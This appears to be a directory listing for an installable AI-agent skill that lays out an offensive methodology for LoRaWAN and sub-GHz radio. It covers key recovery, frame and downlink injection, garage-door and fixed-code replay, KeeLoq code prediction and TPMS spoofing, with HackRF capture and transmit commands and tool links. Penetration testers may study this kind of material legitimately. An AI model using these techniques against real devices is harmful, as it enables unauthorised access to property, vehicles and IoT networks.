offensive-lorawan-sub-ghz

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Translated

LoRaWAN and sub-GHz (433 / 868 / 915 MHz) attack methodology — LoRaWAN ABP/OTAA join attack, network/session key reuse, frame counter replay, downlink injection on TTN/Helium-style networks, sub-GHz protocol replay (KeeLoq garage doors, fixed-code remotes, TPMS spoofing, smart plug telemetry), HackRF / RTL-SDR / Flipper Zero workflows, signal analysis with Inspectrum / Universal Radio Hacker, and reconstruction of proprietary packet formats. Use for LoRaWAN deployments (smart cities, asset tracking, industrial telemetry), or any wireless device using the unlicensed 433/868/915 MHz bands (garage openers, doorbells, IoT sensors, RC equipment).

7installs

Sourcesnailsploit/claude-red

Added on2026-10-25

NPX Install

npx skill4agent add snailsploit/claude-red offensive-lorawan-sub-ghz

SKILL.md Content

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LoRaWAN & Sub-GHz Attacks

LoRaWAN provides long-range low-bitrate communication for IoT — common in smart cities, asset tracking, and industrial telemetry. Outside LoRaWAN, the 433 / 868 / 915 MHz ISM bands host garage doors, doorbells, smart plugs, weather stations, and TPMS — most with weak or no crypto.

Quick Workflow

Identify the band + modulation (LoRa CSS vs. simple OOK/FSK)
Capture transmissions with appropriate hardware (HackRF / RTL-SDR / Flipper Zero)
For LoRaWAN: capture join + uplinks; analyze key derivation
For proprietary sub-GHz: demodulate, identify packet format, replay or craft

Hardware

Tool	Range	Use
RTL-SDR	RX only, 24 MHz–1.7 GHz	Cheap reconnaissance
HackRF One	RX/TX, 1 MHz–6 GHz	Full transceiver
Flipper Zero	RX/TX, sub-GHz	Quick replays, fixed-code attacks
LimeSDR / BladeRF	RX/TX, wider band	Higher fidelity for LoRaWAN
YARD Stick One	TX-focused sub-GHz	Targeted replays
LoRa-specific gateway (RAK / Heltec)	LoRaWAN dual-direction	Standards-compliant LoRaWAN testing

LoRaWAN

LoRaWAN is a MAC layer over LoRa physical (chirp spread spectrum). Devices either:

OTAA (Over-the-Air Activation) — derive session keys at join
ABP (Activation By Personalization) — pre-flashed keys

OTAA Join Capture

bash

# Capture LoRa packets with HackRF + Inspectrum
hackrf_transfer -r capture.iq -f 868000000 -s 1000000 -n 60000000
# Or LoRa-specific: rak_common_for_gateway

# Decode with PHY + MAC stack
git clone https://github.com/Lora-net/LoRaMac-node
# Or use ChirpStack as a sniffing gateway

The Join-Request and Join-Accept are encrypted with the device's AppKey. With AppKey (extracted from device firmware — see

offensive-iot

):

Decrypt Join-Accept → recover NwkSKey, AppSKey
Subsequent traffic decryption + injection

ABP — Pre-Flashed Keys

ABP devices have NwkSKey + AppSKey flashed at manufacture. Common flaws:

Same key across thousands of devices (vendor laziness)
No frame counter rollover protection → replay any historical uplink
DevAddr predictability (sequential allocation)

bash

# If you have NwkSKey + AppSKey + DevAddr, decode/inject with lorawan-test-tools
git clone https://github.com/IoTsec/loraserver-attack-tools
python lora_inject.py --nwkskey <NWKS> --appskey <APPS> --devaddr <ADDR>

Frame Counter Replay

Older LoRaWAN 1.0.x doesn't enforce strict frame counter monotonicity in all stacks. Replay an uplink with a different timestamp → server processes as fresh.

Downlink Injection

If you control AppSKey + NwkSKey, you can inject downlinks (configuration changes, remote commands) to devices.

Sub-GHz Proprietary Protocols

Quick Capture + Replay (Flipper Zero / HackRF)

bash

# RTL-SDR live monitor
rtl_433 -f 433.92M -A     # auto-decode many devices
gqrx                       # interactive spectrum analyzer

# Flipper Zero Sub-GHz menu: Read → identify modulation → capture → save
# Then replay from the saved file

# HackRF capture
hackrf_transfer -r garage.iq -f 433920000 -s 8000000 -n 80000000
# Inspectrum to visualize, identify OOK / FSK, decode bits

KeeLoq (Old Garage Doors, Some Cars)

KeeLoq uses a 32-bit block cipher with a manufacturer key. The manufacturer key was extracted publicly years ago for major brands. With it:

Decrypt rolling code → predict next valid code
Combined with capture-replay, take over the remote

bash

# rolling-code-tools (research)
git clone https://github.com/AndrewMohawk/RollingPwn

Modern KeeLoq deployments (last 5 years) have rotated manufacturer keys, but legacy hardware (older garage doors, some industrial equipment) is in scope.

Fixed-Code Remotes

Many cheap garage openers, doorbells, and smart plugs use fixed codes — the same packet every time you press the button. Capture once, replay forever.

bash

# Flipper Zero: Read → Save → Send (from saved file)
# Or with RFCat:
python -c "import rflib; ..."
# OR with HackRF:
hackrf_transfer -t replay.iq -f 433920000 -s 8000000

TPMS Spoofing

Tire-pressure monitoring sensors broadcast at 315/433 MHz with no authentication. Spoof low-pressure alerts:

bash

# Capture legitimate TPMS
rtl_433 -f 315M -F json | grep TPMS

# Synthesize crafted alerts (custom modulator with HackRF)
# Useful for testing TPMS-aware vehicle systems or as denial-of-trust attack

Reconstruction of Unknown Protocols

bash

# Universal Radio Hacker (URH) — visual reverse engineering
urh
# Load .iq capture, identify modulation visually,
# auto-detect symbols, decode bits, identify packet structure

URH walks you from raw RF to a parsed protocol description, even with no docs.

Engagement Cheatsheet

bash

# 1. Identify band + modulation
rtl_433 -f <freq> -A           # auto-detect known protocols
gqrx                           # spectrum view to find activity

# 2. For LoRaWAN
#    - Set up gateway (or HackRF + LoRa decoding)
#    - Capture joins + uplinks
#    - Extract keys from device firmware (see offensive-iot)

# 3. For proprietary sub-GHz
#    - Capture with HackRF / RTL-SDR
#    - Visualize / decode with Inspectrum or URH
#    - Replay or craft

# 4. Document modulation, frequency, packet format, replay viability

Detection

LoRaWAN networks have server-side anomaly detection (frame counter, signal strength, geographic) — varies widely by operator
Sub-GHz consumer products typically have no monitoring
TPMS / industrial equipment has minimal telemetry on RF anomalies

Reporting

Identify exact frequency, modulation, baud, and packet format per device
Distinguish capture-replay vs. crafted-frame attacks
Note crypto state (cleartext / weak-fixed-key / standards-compliant)
For LoRaWAN: identify AppKey / NwkSKey / AppSKey storage in firmware

Key References

rtl_433 protocol database: github.com/merbanan/rtl_433
Universal Radio Hacker: github.com/jopohl/urh
RollingPwn (KeeLoq research): github.com/AndrewMohawk/RollingPwn
LoRaWAN Specification: lora-alliance.org
Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md

offensive-lorawan-sub-ghz

NPX Install

Tags

SKILL.md Content

LoRaWAN & Sub-GHz Attacks

Quick Workflow

Hardware

LoRaWAN

OTAA Join Capture

ABP — Pre-Flashed Keys

Frame Counter Replay

Downlink Injection

Sub-GHz Proprietary Protocols

Quick Capture + Replay (Flipper Zero / HackRF)

KeeLoq (Old Garage Doors, Some Cars)

Fixed-Code Remotes

TPMS Spoofing

Reconstruction of Unknown Protocols

Engagement Cheatsheet

Detection

Reporting

Key References